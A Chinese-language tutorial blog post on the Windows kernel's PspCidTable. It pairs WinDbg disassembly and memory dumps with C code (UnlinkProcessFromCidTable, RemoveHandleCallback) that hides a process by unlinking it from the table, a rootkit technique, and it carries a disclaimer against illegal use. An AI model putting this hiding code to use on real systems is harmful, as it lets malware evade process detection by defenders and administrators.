【Day 11】- 再次创造 Ghost Process,这次找不到了吧哈哈(基於修改 PspCidTable 隐藏的 Rookit)

Agenda

  • 资安宣言
  • 测试环境与工具
  • 学习目标
  • 前情提要
  • 技术原理与程序码
  • References
  • 下期预告

资安宣言


撰写本系列文章目的在於提升资讯安全之实务能力,
并透过实作体悟到资讯安全领域的重要性,
本系列所有文章之内容皆有一定技术水平,
不得从事非法行为、恶意攻击等非法活动,
「一切不合法规之行为皆受法律所约束」,
为了避免造成公司、厂商或玩家之间困扰,
所有实作不会拿已上市产品、Online Game 等等来作范例学习,
且部分具有深度、价值之内容,将会提升一定阅读门槛(不对该技术做分析、解说),
请勿透过本系列文章所学,从事任何非法活动,请不要以身试法!!!


测试环境与工具

学习目标

  • 1.了解 PspCidTable
  • 2.透过 PspCidTable 列举 Process
  • 3.将 Process 从 PspCidTable 中删除,完成隐藏

前情提要

在昨日的文章中:
【Day 10】- 藏起来的 Process 真的看不见摸不着?(讲解找出断链後的 Process 方法)

已经有说到如何找出修改 ActiveProcessLinks 隐藏的 Process,
到文末时,
有稍微提到 PsLookupProcessByProcessId 会透过 PspCidTable 拿对应 PID 的 Object,
透过这样的方式拿到 EProcess Address,
那今天就要来说说 PspCidTable 是什麽东西。

上一篇与上上篇还没看得可以先去看看哦~

技术原理与程序码

首先开始前要先说一下,
小弟我目前还属於菜鸟阶段,正不断努力学习中,
若有发现错误或不妥之处还请不吝赐教。
欢迎大家多多留言,互相交流交流。

那就开始今天的主题吧~~
/images/emoticon/emoticon24.gif

什麽是 PspCidTable ?
A Process's、A Thread's Kernel Object Handle Table

每个 Process 都有自己的 Handle Table,
Index 就是 Process 的 PID、TID,
要操作 Process 时(应该说要拿 EProcess Address 时),
通过 Index(PID、TID)存取 Handle Table,然後返回 object pointer。

那 PspCidTable 长什麽样子?
在 WinDbg 中输入 dt _HANDLE_TABLE

lkd> dt _HANDLE_TABLE
nt!_HANDLE_TABLE
   +0x000 NextHandleNeedingPool : Uint4B
   +0x004 ExtraInfoPages   : Int4B
   +0x008 TableCode        : Uint8B
   +0x010 QuotaProcess     : Ptr64 _EPROCESS
   +0x018 HandleTableList  : _LIST_ENTRY
   +0x028 UniqueProcessId  : Uint4B
   +0x02c Flags            : Uint4B
   +0x02c StrictFIFO       : Pos 0, 1 Bit
   +0x02c EnableHandleExceptions : Pos 1, 1 Bit
   +0x02c Rundown          : Pos 2, 1 Bit
   +0x02c Duplicated       : Pos 3, 1 Bit
   +0x02c RaiseUMExceptionOnInvalidHandleClose : Pos 4, 1 Bit
   +0x030 HandleContentionEvent : _EX_PUSH_LOCK
   +0x038 HandleTableLock  : _EX_PUSH_LOCK
   +0x040 FreeLists        : [1] _HANDLE_TABLE_FREE_LIST
   +0x040 ActualEntry      : [32] UChar
   +0x060 DebugInfo        : Ptr64 _HANDLE_TRACE_DEBUG_INFO

首先,先来逆向 PsLookupProcessByProcessId:

  1. 使用 Administrator 权限打开 WinDbg
  2. 选 Kernel Debug...
    • (需要打开测试模式,依照提示的指示进行操作)
  3. 选 Local 按确定
    • (需要打开测试模式,依照提示的指示进行操作)
  4. 输入:uf PsLookupProcessByProcessId
    • 反汇编 PsLookupProcessByProcessId
    lkd> uf PsLookupProcessByProcessId
    nt!PsLookupProcessByProcessId:
    fffff800`09de0ad0 48895c2408      mov     qword ptr [rsp+8],rbx
    fffff800`09de0ad5 4889742410      mov     qword ptr [rsp+10h],rsi
    fffff800`09de0ada 48897c2418      mov     qword ptr [rsp+18h],rdi
    fffff800`09de0adf 4156            push    r14
    fffff800`09de0ae1 4883ec20        sub     rsp,20h
    fffff800`09de0ae5 65488b342588010000 mov   rsi,qword ptr gs:[188h]
    fffff800`09de0aee 4c8bf2          mov     r14,rdx
    fffff800`09de0af1 66ff8ee6010000  dec     word ptr [rsi+1E6h]
    fffff800`09de0af8 b203            mov     dl,3
    fffff800`09de0afa e8412afcff      call    nt!PspReferenceCidTableEntry (fffff800`09da3540)
    

因为时间、文章长度的关系,我就直接讲重点,
这边看到 call 了一个 PspReferenceCidTableEntry,直接跟进去看,

  1. 输入:uf fffff800`09da3540
    lkd> uf fffff800`09da3540
    nt!PspReferenceCidTableEntry:
    fffff800`09da3540 48896c2420      mov     qword ptr [rsp+20h],rbp
    fffff800`09da3545 56              push    rsi
    fffff800`09da3546 4883ec20        sub     rsp,20h
    fffff800`09da354a 488b05afbcedff  mov     rax,qword ptr [nt!PspCidTable (fffff800`09c7f200)]
    

不远处就可以看到拿了 PspCidTable Address,
所以可以直接透过这个 API 来定位 PspCidTable,
PspCidTable 是没有导出的,无法直接呼叫使用,
需要手动透过特徵定位。

定位方式:
一、取得 PsLookupProcessByProcessId Address
二、找到 call PspReferenceCidTableEntry
(特徵直接抓 0xe8 即可)
三、进入 PspReferenceCidTableEntry 这个 call
四、找到 rax,qword ptr [nt!PspCidTable (xxx)]
(特徵直接抓 0x48、0x8b 0x05 即可)
五、取得 PspCidTable Address

  1. 我这里跳过一些东西,直接讲重点罗,为了节省一点时间
    • 继续往下看会发现
    • 它会把指向 Level1 的 Pointer
    • 先 sar 10h,然後 and FFFFFFFFFFFFFFF0h
    • 就是 (Address >> 0x10) & 0xfffffffffffffff0
    • 看的出来这是在做解密的动作,
    • 所以稍後列举到 Level2 时,
    • 要把指向 Level1 的 Pointer Address 解密
  2. 输入 dp PspCidTable
    • 其实可以直接拿 PspCidTable 地址
    • 看看底下的结果和刚刚是一样的 fffff800`09c7f200
    lkd> dp PspCidTable
    fffff800`09c7f200  ffffcf01`82216cc0 fffff800`09c7f208
    fffff800`09c7f210  fffff800`09c7f208 ffffe307`15ec0480
    fffff800`09c7f220  00000000`00000000 00000000`00000000
    fffff800`09c7f230  00001000`00010000 ffffe307`15ec7800
    fffff800`09c7f240  00000000`00000000 00000002`00005e03
    fffff800`09c7f250  00000000`00000000 00000000`00000000
    fffff800`09c7f260  00000000`00000000 fffff800`0a158000
    fffff800`09c7f270  fffff800`09886000 00000000`00000000
    
  3. 输入:dt _HANDLE_TABLE ffffcf01`82216cc0
    • 拿 TableCode,这是指向 HANDLE TABLE 的 Pointer
    lkd> dt _HANDLE_TABLE ffffcf01`82216cc0
    nt!_HANDLE_TABLE
       +0x000 NextHandleNeedingPool : 0x1800
       +0x004 ExtraInfoPages   : 0n0
       +0x008 TableCode        : 0xffffcf01`87f59001
       +0x010 QuotaProcess     : (null) 
       +0x018 HandleTableList  : _LIST_ENTRY [ 0x?? - 0x?? ]
       +0x028 UniqueProcessId  : 0
       +0x02c Flags            : 1
       +0x02c StrictFIFO       : 0y1
       +0x02c EnableHandleExceptions : 0y0
       +0x02c Rundown          : 0y0
       +0x02c Duplicated       : 0y0
       +0x02c RaiseUMExceptionOnInvalidHandleClose : 0y0
       +0x030 HandleContentionEvent : _EX_PUSH_LOCK
       +0x038 HandleTableLock  : _EX_PUSH_LOCK
       +0x040 FreeLists        : [1] _HANDLE_TABLE_FREE_LIST
       +0x040 ActualEntry      : [32]  ""
       +0x060 DebugInfo        : (null) 
    

再来就是 Table 是有分 Level 的:

  • Level1:Process's、Thread's Object
  • Level2:指向 Level1 的 Pointer
  • Level3:指向 Level2 的 Pointer

判断 Table 的 Level:

  • (看指向 HANDLE TABLE 的 Pointer 最後两位是多少)
  • 00 -> Level1(_Handle_Table_Entry)
  • 01 -> Level2(存放指针)
  • 10 -> Level3(存放指针)

这里的 TableCode:0xffffcf01`87f59001 结尾是 01
代表这张表是 Level2

  1. 输入:dp 0xffffcf01`87f59000
    • 结果:
    lkd> dp 0xffffcf01`87f59000
    ffffcf01`87f59000  ffffcf01`8221a000 ffffcf01`87f5a000
    ffffcf01`87f59010  ffffcf01`88585000 ffffcf01`88b50000
    ffffcf01`87f59020  ffffcf01`88fe9000 ffffcf01`89d39000
    ffffcf01`87f59030  00000000`00000000 00000000`00000000
    ffffcf01`87f59040  00000000`00000000 00000000`00000000
    ffffcf01`87f59050  00000000`00000000 00000000`00000000
    ffffcf01`87f59060  00000000`00000000 00000000`00000000
    ffffcf01`87f59070  00000000`00000000 00000000`00000000
    
  2. 输入:dp ffffcf01`8221a000
    • 现在来到 Level1
    • 可以看到底下的 Address 是很奇怪的
    • 需要解密,解密方法就是上面说到的
    lkd> dp ffffcf01`8221a000
    ffffcf01`8221a000  00000000`00000000 00000000`00000000
    ffffcf01`8221a010  e30715ed`8040ff57 00000000`00000000
    ffffcf01`8221a020  e30718f8`5080fe9b 00000000`00000000
    ffffcf01`8221a030  e30715ec`8700fff7 00000000`00000000
    ffffcf01`8221a040  e30715ec`e040fff7 00000000`00000000
    ffffcf01`8221a050  e30715ed`3700fff7 00000000`00000000
    ffffcf01`8221a060  e30715eb`9040fff7 00000000`00000000
    ffffcf01`8221a070  e30715e4`e040fff7 00000000`00000000
    
  3. 解密
    • e30715ed`8040ff57
    • 这个地址需要做解密
    • (Address >> 0x10) & 0xfffffffffffffff0
    • (0xe30715ed8040ff57 >> 0x10) & 0xfffffffffffffff0
    • =
    • 0xFFFFE30715ED8040
  4. 输入:dt _eprocess 0xFFFFE30715ED8040
    • 结果:
    lkd> dt _eprocess 0xFFFFE30715ED8040
    nt!_EPROCESS
       +0x000 Pcb              : _KPROCESS
       +0x2d8 ProcessLock      : _EX_PUSH_LOCK
    
       --- --- ---
       --- --- ---
       --- --- ---
    
       +0x450 ImageFileName    : [15]  "System"
    
       --- --- ---
       --- --- ---
       --- --- ---
    

看到了吧,列举到了系统 Process:System

补充:
每张 Table 在 x64 的大小是 0x1000(4096),
Level2 和 Level3 放的是 Pointer,大小是 8,
所以 Level2 和 Level3 都要列举 4096 / 8 = 516 次,
Level1 是 _handle_table_entry 结构,所以大小是 16,
所以 Level1 要列举 4096 / 16 = 256 次。

列举结果:

所以说了这麽多要怎麽隐藏ㄋ?
请看 hidden Project 的 PsMonitor.c
我放一份在这里:

VOID UnlinkProcessFromCidTable(PProcessTableEntry Entry)
{
	PVOID PspCidTable = GetPspCidTablePointer();

	if (!PspCidTable)
	{
		LogWarning("Can't unlink process %Iu from PspCidTable(NULL)", Entry->processId);
		return;
	}

	CidTableContext context;
	context.ProcessId = Entry->processId;
	context.Found = FALSE;

	EX_ENUMERATE_HANDLE_ROUTINE routine = (IsWin8OrAbove() ? (EX_ENUMERATE_HANDLE_ROUTINE)&RemoveHandleCallbackWin8 : &RemoveHandleCallback);
	if (!ExEnumHandleTable(PspCidTable, routine, &context, NULL))
	{
		LogWarning("Can't unlink process %Iu from PspCidTable", Entry->processId);
		return;
	}

	if (!context.Found)
	{
		LogWarning("Can't find process %Iu in PspCidTable", Entry->processId);
		return;
	}

	// Hack for Windows Vista, 7, to avoid lock bit leak
	if (!IsWin8OrAbove())
	{
		context.Entry->u1.Object = NULL;
		context.Entry->u2.GrantedAccess = 0;
	}

	Entry->cidEntryBackup = context.EntryBackup;
	Entry->cidEntry = context.Entry;
}

ExEnumHandleTable

BOOLEAN RemoveHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry, HANDLE Handle, PVOID EnumParameter)
{
	PCidTableContext context = (PCidTableContext)EnumParameter;

	if (context->ProcessId != Handle)
		return FALSE;

	context->Found = TRUE;
	context->Entry = HandleTableEntry;
	context->EntryBackup = *HandleTableEntry;

	LogInfo(
		"PID %Iu has been removed from PspCidTable, entry:%p, object:%p, access:%08x",
		Handle,
		HandleTableEntry,
		context->EntryBackup.u1.Object,
		context->EntryBackup.u2.GrantedAccess
	);

	return TRUE;
}

notepad.exe 隐藏前:

在 R0 下,暴力列举 PID,然後 CALL PsLookupProcessByProcessId:

在 R3 下,暴力列举 PID,然後 CALL OpenProcess:

隐藏 notepad.exe:

隐藏後在 R0 下,暴力列举 PID,然後 CALL PsLookupProcessByProcessId:

隐藏後在 R3 下,暴力列举 PID,然後 CALL OpenProcess:

隐藏後在 R0 下,列举 PspCidTable:

没人找的到我了吧!哈哈哈哈哈~
/images/emoticon/emoticon01.gif

好啦,明天开大绝,
教你/你把 Windows 里所有藏起来的 Process(Rookit)找出来 :D

好了,今天就讲到这结束了,
大家若有发现哪里写得不好或错误的地方,都留个言讨论一下吧 XD
那我们下期见 o( ̄▽ ̄)ブ

References

下期预告


<<:  通过SafariViewController查询网站 Day22

>>:  Day26. Blue Prism取号一把罩–BP自动取得订单编号

System Design: 读书心得4

Elasticsearch/Solr/ELK Stash Caveat of using Elast...

内部稽核与外部稽核功能面分析

内部稽核与外部稽核功能面分析 事项 内部稽核 外部稽核 稽核员资格 V 规费 V 认证资格 V 公正...

Day_18 : 让 Vite 来开启你的Vue 之 toRef & toRefs

Hi Dai Gei Ho~ 我是Winnie~ 今天文章要来说的是 toRef 与 toRefs ...

Consistency and Consensus (4-1) - Atomic Commit and Two-Phase Commit(2pC)

分散式 transaction 和共识 (Distributed Transactions and ...

EPC 事件驱动图

EPC (Event Driven Process-Chain) 事件驱动流程链是一种流程图应用在业...